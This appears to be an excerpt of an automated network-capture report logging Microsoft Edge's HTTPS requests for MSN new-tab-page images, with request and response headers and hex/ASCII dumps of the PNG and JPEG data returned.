2024-10-29 05:59:31 UTC	16384	IN	Data Raw: df 9d d0 80 00 c3 8c 5a 4c 09 20 e8 2e 47 8a 2e 3a dd ff 00 43 8d ce 6b 60 38 b6 43 64 ed 2e 83 0e 3f 44 22 44 f4 9d 37 fa a9 d8 17 1e 12 e6 b9 e4 1a 58 44 b8 00 4c 9d 9a 01 23 7d e5 0c d4 44 13 69 d8 fe 6c 8e 09 7d cb cb 89 30 d2 6c 01 8e ee e7 78 01 d5 67 32 5d 7d 0d c4 c1 f9 a5 c0 b2 fa 83 44 83 a0 1b fc 92 5f ae e5 41 91 f8 c9 73 09 6c cb 65 b2 0c 1d c4 f0 de e9 4b fb 6c 0f 23 f9 b9 5c 6d 6d 5c d7 34 d2 e0 41 1b ca 70 f7 b0 16 b0 c0 20 87 10 62 a0 77 06 f7 1c b6 41 26 a8 b4 01 61 16 9e 3d 57 6d fd 39 a8 ae 76 23 40 c8 66 ee 2d da 04 8b f5 93 6d ed 64 5c 98 ce 13 0f 69 15 30 39 ba 18 3b 18 df 84 a1 86 3b 78 88 fc ba 9f 10 27 59 51 49 49 1b da 44 f4 b2 23 45 8c ef a5 b7 5d dc 21 d7 e4 4f 2e 3d 13 12 f7 b9 ef 74 bc ee e3 3a 9e 7a 99 41 01 83 62 47 0d d7 Data Ascii: ZL .G.:Ck`8Cd.?D"D7XDL#}Dil}0lxg2]}D_AsleKl#\mm\4Ap bwA&a=Wm9v#@f-md\i09;;x'YQIID#E]!O.=t:zAbG
2024-10-29 05:59:31 UTC	2116	IN	Data Raw: a2 a3 78 1e 28 20 6f f9 f7 54 11 c6 b7 00 d6 35 b6 0d 86 c9 9e 72 e2 6e 75 88 40 d8 47 f0 88 0d a2 2f f3 e0 a6 c7 69 d7 54 03 85 13 a6 14 81 3d c5 da 58 53 1c f7 27 84 28 16 ab 44 0d e6 75 e1 d2 3c 12 ab ba b3 13 66 99 1b 99 b5 f4 be fc 65 02 ca 66 b1 f9 26 96 b9 d0 0b 8c 02 60 0d c9 8d 06 a5 22 38 ca e6 e3 a5 a5 cd dc 12 1c 60 b4 c7 6c 74 eb d5 69 92 63 7b f1 b8 3d 8e a5 cd b8 23 71 c1 47 10 46 d2 e9 24 ba 77 e5 1f 7d 52 ea ac db 44 0a 09 00 89 37 dc 68 54 56 14 28 28 13 b6 9c b6 1d 55 0d 27 f6 93 bc 78 7f 09 51 03 8c 58 91 62 0d e3 7d 10 40 40 69 11 73 af 4e 4b af c1 39 7b 68 68 a0 02 26 5d 2e 97 74 91 30 23 90 4a 5d 22 f2 4c eb b7 f3 2a 8e 91 4c 5b 7e 97 f3 48 55 56 25 44 25 e3 91 4a 8a 40 d2 76 bc f5 f3 28 68 8b 68 d6 67 7d 23 eb 2a 6a 99 a0 cd 81 3e Data Ascii: x( oT5rnu@G/iT=XS'(Du<fef&`"8`ltic{=#qGF$w}RD7hTV((U'xQXb}@@isNK9{hh&].t0#J]"LL[~HUV%D%J@v(hhg}#j>
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: b7 e6 6b 83 da f8 38 aa f8 64 cc 69 f1 38 c9 1c f6 5e 63 b7 89 0a 39 57 6f 02 6d f2 1c d1 4b 5a d0 21 d5 12 76 17 11 fc f2 59 c4 02 8d ee 9a 69 16 1a 01 c7 ac 4a 20 e5 94 10 26 4e a0 4f 6f 23 20 5c 6a b7 10 c1 8d 94 82 5c 66 b2 60 8d ec 1a 0b 44 1e a6 4c af 2d ae 8e 32 bd 0c 6e 6d 19 1e fc 90 47 c0 da 6a a8 cd c4 cf 6c 0b cc 19 d9 1b 83 07 b4 c8 71 23 b6 04 0b 4c eb f7 d5 73 5a d6 87 02 e8 74 c1 6d f6 8d f6 8f 0d f9 2c 43 2d f6 04 73 4d 5d 46 4d 93 55 ad f8 5a 60 97 38 5f b8 00 24 0e a2 4a ca 1d 92 0e 3a dc 1a 6c 44 c0 31 b4 e8 7c 56 96 39 e5 b5 bb b9 a4 d3 b8 a8 98 f1 36 d5 2b c0 04 12 59 b8 d9 c0 b8 cd fe 16 93 b6 a8 b5 5d e9 63 06 37 0f 51 ee 17 55 ee 63 01 c0 62 83 60 5c 6c e2 ed e1 bb 59 60 cb 88 e3 34 92 0f 02 08 f3 0b d8 f5 79 19 88 9c 78 9e 72 36 Data Ascii: k8di8^c9WomKZ!vYiJ &NOo# \j\f`DL-2nmGjlq#LsZtm,C-sM]FMUZ`8_$J:lD1\|V96+Y]c7QUcb`\lY`4yxr6
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: d8 c8 4d 10 22 97 07 13 b9 da 39 36 27 c6 52 92 37 8d fa 59 71 f1 b8 d7 54 56 96 b3 4f 1f c0 9c 35 cd bc 11 06 26 35 1a 5f e6 b4 35 e7 29 27 33 9c 4d 36 71 bb ac 21 ad 12 76 fa 0d 93 bf 0b 5a da c5 c1 30 38 f9 e8 8e 98 ce ee f7 13 2d bd c8 b0 1e 11 03 80 08 3b 18 9f e8 b4 b4 4f 86 d6 98 41 c9 2e 93 79 e7 af 9e e8 ce 35 8c e3 d8 f6 e8 61 35 54 5d 48 aa da 03 b8 1d 42 01 f8 e5 8e 3c 44 b7 4b f3 51 9d b1 04 4c eb 79 f0 da 38 aa 41 6c fe 4f 96 88 a0 e4 75 44 e9 c8 4c 0f 35 2a 90 6d 33 17 e9 e1 f7 55 db 0b 83 37 b6 9c 8d be 8b 89 60 63 62 6a bc ec 00 bd a3 52 7a a3 24 8b 13 d3 f3 75 d2 d0 6e 1d 71 c2 fe 5b 24 05 11 c6 bb 80 1a 3a 6f e2 51 03 21 d4 d5 06 92 62 a8 b1 23 49 eb c9 2a 69 b4 13 c2 f6 1c 02 3e 1c 85 8f 30 d6 bd ce 69 68 a9 81 c2 fa 80 76 20 6c 74 40 Data Ascii: M"96'R7YqTVO5&5_5)'3M6q!vZ08-;OA.y5a5T]HB<DKQLy8AlOuDL5m3U7`cbjRz$unq[$:oQ!b#Ii>0ihv lt@
2024-10-29 05:59:31 UTC	7952	IN	Data Raw: 28 00 74 3f 25 42 9c 79 28 39 29 34 82 1a 5d 16 93 a7 14 ed c6 48 9d a4 5b 9d d4 f0 5a ce 62 f7 55 43 45 80 80 d0 1b 61 1b 0d 79 aa 84 71 cd 9b 23 1a e7 17 91 4b 1b 51 98 03 66 89 26 00 f2 45 ce c7 07 90 e0 da 9a 4b 49 6d e4 8d 6c 48 f2 b2 40 03 49 91 28 ae 89 14 be b9 00 9e da 40 3a 8b ef 1d 42 a3 3b d8 45 ad d6 c8 37 ba dc 0c 1a 7b 4b 48 e8 7c f5 33 e0 b3 90 06 a3 f3 c1 10 a1 ee 6e 32 cb 43 e0 9b 34 9b 6d 78 91 e0 6e 84 0f 1e 7d 11 5a e6 b6 aa 9b 55 a1 a6 62 93 d7 9f 04 b2 0f 2e a8 12 e3 ea 8a 31 bc e2 76 46 83 4b 69 0f 33 69 76 df 45 29 b3 6e 20 ce a2 44 75 13 e5 2a 36 1a f6 d7 25 92 2a 00 c1 2d 9b c6 93 1b 2a 84 96 de 6d d1 74 01 f0 9d 86 eb 53 fd bc 3e a5 f3 88 86 43 a8 66 50 49 0d 70 ec 9a 4b 6f 04 19 db 92 c6 5c ce da 41 10 05 44 99 93 af 4b 7e 4a Data Ascii: (t?%By(9)4]H[ZbUCEayq#KQf&EKImlH@I(@:B;E7{KH\|3n2C4mxn}ZUb.1vFKi3ivE)n Du6%-*mtS>CfPIpKo\ADK~J
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 21 f6 31 ca 3a ae 73 8c 9d cf 5f f0 89 97 d3 c3 71 e4 f7 1a e0 f0 49 0d 32 e6 41 8e f1 16 94 c1 8d 17 d3 f3 55 94 64 74 88 75 cc fc 96 cc 0c 93 2e e9 37 50 86 b9 8e ee 13 22 d0 6a ff 00 da 76 03 94 a3 61 6c b9 b2 ee 80 55 b2 2e 72 f4 9d b7 d8 2c b9 46 68 fd 23 41 13 28 d8 b2 07 e7 32 e1 db 60 34 31 d3 69 5a 33 1b 99 12 0f c9 1b f2 f1 5b e9 5a 1b 37 9b f8 78 ac ee c2 29 70 2d 0f 92 03 5f 26 dd 6d 61 e2 57 b0 33 b5 8d 21 ae 22 a1 04 4e e3 a1 e4 b3 b5 ae 32 6c 07 2d 15 63 d6 3e 6f 2e 00 c7 75 e1 b2 76 e1 14 87 73 db 82 f6 1d e9 e4 c8 16 3e 69 dd e9 f3 60 ee 0d 61 11 37 83 31 ba ae 57 a3 97 99 1d c1 d6 dc 18 bc 0e 5f 85 7d 00 69 ce 2b 16 e4 0d 84 71 fb 95 e6 0c 98 9a c1 ff 00 33 51 99 25 fd be 00 34 6b cc af 42 8c b8 83 1c 71 f6 bc 40 aa 5a de e1 63 a5 f5 46 Data Ascii: !1:s_qI2AUdtu.7P"jvalU.r,Fh#A(2`41iZ3[Z7x)p-_&maW3!"N2l-c>o.uvs>i`a71W_}i+q3Q%4kBq@ZcF
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 97 07 f0 a0 b3 d4 63 70 c6 06 32 d2 d0 7d c7 c9 75 46 6c 40 b5 30 3a 14 c3 2d b7 b8 36 3a ac e3 7e d2 8e 7d 43 58 db 34 83 56 e7 60 34 00 40 bf 34 de f8 89 5e 56 57 03 70 ef 0d 50 d9 93 b8 07 97 06 9d e3 7f 00 53 0f 77 a2 ec d2 e0 74 fb a5 3e a1 cd 27 62 bc d2 f2 6d 28 98 fb cc 74 13 f9 2a 27 bb b2 65 d7 c5 27 fb 06 d0 9b 27 4d 3f 35 5e 7b 81 05 6a 47 3b d5 63 73 de 5d 8a 65 b0 08 11 50 aa fd 1b b9 1d 4a f3 9c e0 50 cb 88 43 95 a9 1c ad d3 97 6c 12 54 52 eb 74 b2 b4 c1 a5 42 52 ca e4 41 f1 b8 07 34 b8 54 01 04 8d a4 74 b7 55 b4 e5 0f 73 9c d1 ed b4 93 0d 04 90 d1 a0 93 7b 2f 2a 53 87 14 6a 57 a8 1c 0a b5 4b 85 96 5c 7e a7 23 31 3f 08 a6 9c 85 ae 74 b4 55 db 31 0e 8a 80 bd c0 37 4f 8d c1 a4 97 09 11 b0 31 7d 34 28 d6 b6 dc 7e 4a 90 4c 40 9e 17 48 1e d2 d2 Data Ascii: cp2}uFl@0:-6:~}CX4V`4@4^VWpPSwt>'bm(t'e''M?5^{jG;cs]ePJPClTRtBRA4TtUs{/SjWK\~#1?tU17O1}4(~JL@H
2024-10-29 05:59:31 UTC	7952	IN	Data Raw: 18 9f d5 37 b6 fe a1 7a 10 a4 14 f6 31 e7 fb 4e ea 14 f6 9d d4 2d f0 ee 4a 41 4f 64 c8 c1 ed 3b f5 0f 9a ef 64 f5 fa af 42 1d d1 aa 52 7a 0f 92 7b 0f 3f db e6 bb db e6 bd 0a 7f b4 79 ae a4 7e 91 e6 13 d8 c7 9f ed ab ed 1f c0 bd 0a 47 e9 1e 61 5f 0f a7 f0 9e c6 3c df 68 fe 05 3d a3 cf c9 7a b1 3a 7d 17 40 fd 3f 44 f6 31 e5 7b 27 9f 92 ef 65 dc d7 ad 48 fd 2a 80 3f 4f d1 3d 8c 79 1e cb ba 1f 25 de cb ba 15 eb c3 7a 7e 79 ab 43 3a 7e 79 a7 b5 31 e3 fb 4e 4e 31 bd 7a 87 1b 3f 4f d7 f9 5d ed e3 e9 f9 e6 9e d4 c7 9b ed bf a7 c9 77 b7 93 a2 f4 7d bc 7f a7 f3 cd 5f 6b 1f 4f af f2 9e d4 c7 9b ed e4 e8 bb da c9 d1 7a 7e de 3f d3 f5 fe 53 7b 2c fd 07 e7 fc ac fb 2e 3c cf 69 ff 00 a7 e4 a1 c2 e3 fb 7e 4b d5 f6 59 bd 27 f3 c5 37 b3 8f f4 fe 79 a7 b5 3d 5e 3f fa ef e8 Data Ascii: 7z1N-JAOd;dBRz{?y~Ga_<h=z:}@?D1{'eH*?O=y%z~yC:~y1NN1z?O]w}_kOz~?S{,.<i~KY'7y=^?
2024-10-29 05:59:31 UTC	6096	IN	Data Raw: 9d ad 6f 44 56 b4 e8 4a 9a d4 3f b1 96 6e 4f 3d 6e b4 35 8e 99 2e 74 6c 79 23 43 c8 15 c7 27 0e 9d 4a 0b dd 41 ea 3c 7a 2a e8 3b 6b 00 82 44 1f ce a9 5d 8c 3a d1 7d 23 9e b7 43 61 0d 26 6a be c3 44 d1 94 36 6a 2d d3 79 e2 a3 44 6e 06 00 e9 71 91 c2 ff 00 64 8d f4 f4 99 92 44 10 64 a2 51 9b e0 6e b2 67 6f aa 5a 7d 4d 13 0e da fa de 54 3f fc a9 c4 c7 46 bb 10 52 65 63 b5 e1 73 61 08 e3 1b e9 20 9a 6d 33 f6 41 2d 78 1b 4c 5e ff 00 3f e1 4d 33 8f 04 6b 3f f4 da c6 d3 e0 88 ff 00 75 cc 86 b5 a6 2c 7f 51 e6 83 ef 38 b8 b5 ac bc 18 1b c6 b2 9c 1c af 1d c2 91 13 56 d2 a3 3f dc a3 1e 41 63 6d 6d bf c9 17 dc cc 05 4d 37 d8 ce e4 42 8d a8 12 d6 ba 64 ed b9 e8 9c 92 4b 81 73 8d b9 75 da ca 2c 9c 33 8c 8f c6 36 69 bd cc 6f 1c 11 06 6f 70 c1 ac 49 dc 4f cf fc a2 d4 1a Data Ascii: oDVJ?nO=n5.tly#C'JA<z*;kD]:}#Ca&jD6j-yDnqdDdQngoZ}MT?FRecsa m3A-xL^?M3k?u,Q8V?AcmmM7BdKsu,36ioopIO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49853	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=300443 Expires: Fri, 01 Nov 2024 17:26:53 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49855	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=415353 Expires: Sun, 03 Nov 2024 01:22:03 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49852	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	515	IN	HTTP/1.1 200 OK Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: cd066283-99e3-460f-9d21-8f43d4ee6fdb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=52414 Expires: Tue, 29 Oct 2024 20:33:04 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49850	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 X-Datacenter: eastus X-ActivityId: 19df4b50-4294-4c01-a5b7-b666df22e678 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 6962 Cache-Control: public, max-age=187727 Expires: Thu, 31 Oct 2024 10:08:17 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49854	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:30 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 X-Datacenter: eastus X-ActivityId: 8873c19f-b6af-4d44-808b-b517cd8cfed4 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 42413 Cache-Control: public, max-age=248479 Expires: Fri, 01 Nov 2024 03:00:49 GMT Date: Tue, 29 Oct 2024 05:59:30 GMT Connection: close
2024-10-29 05:59:31 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 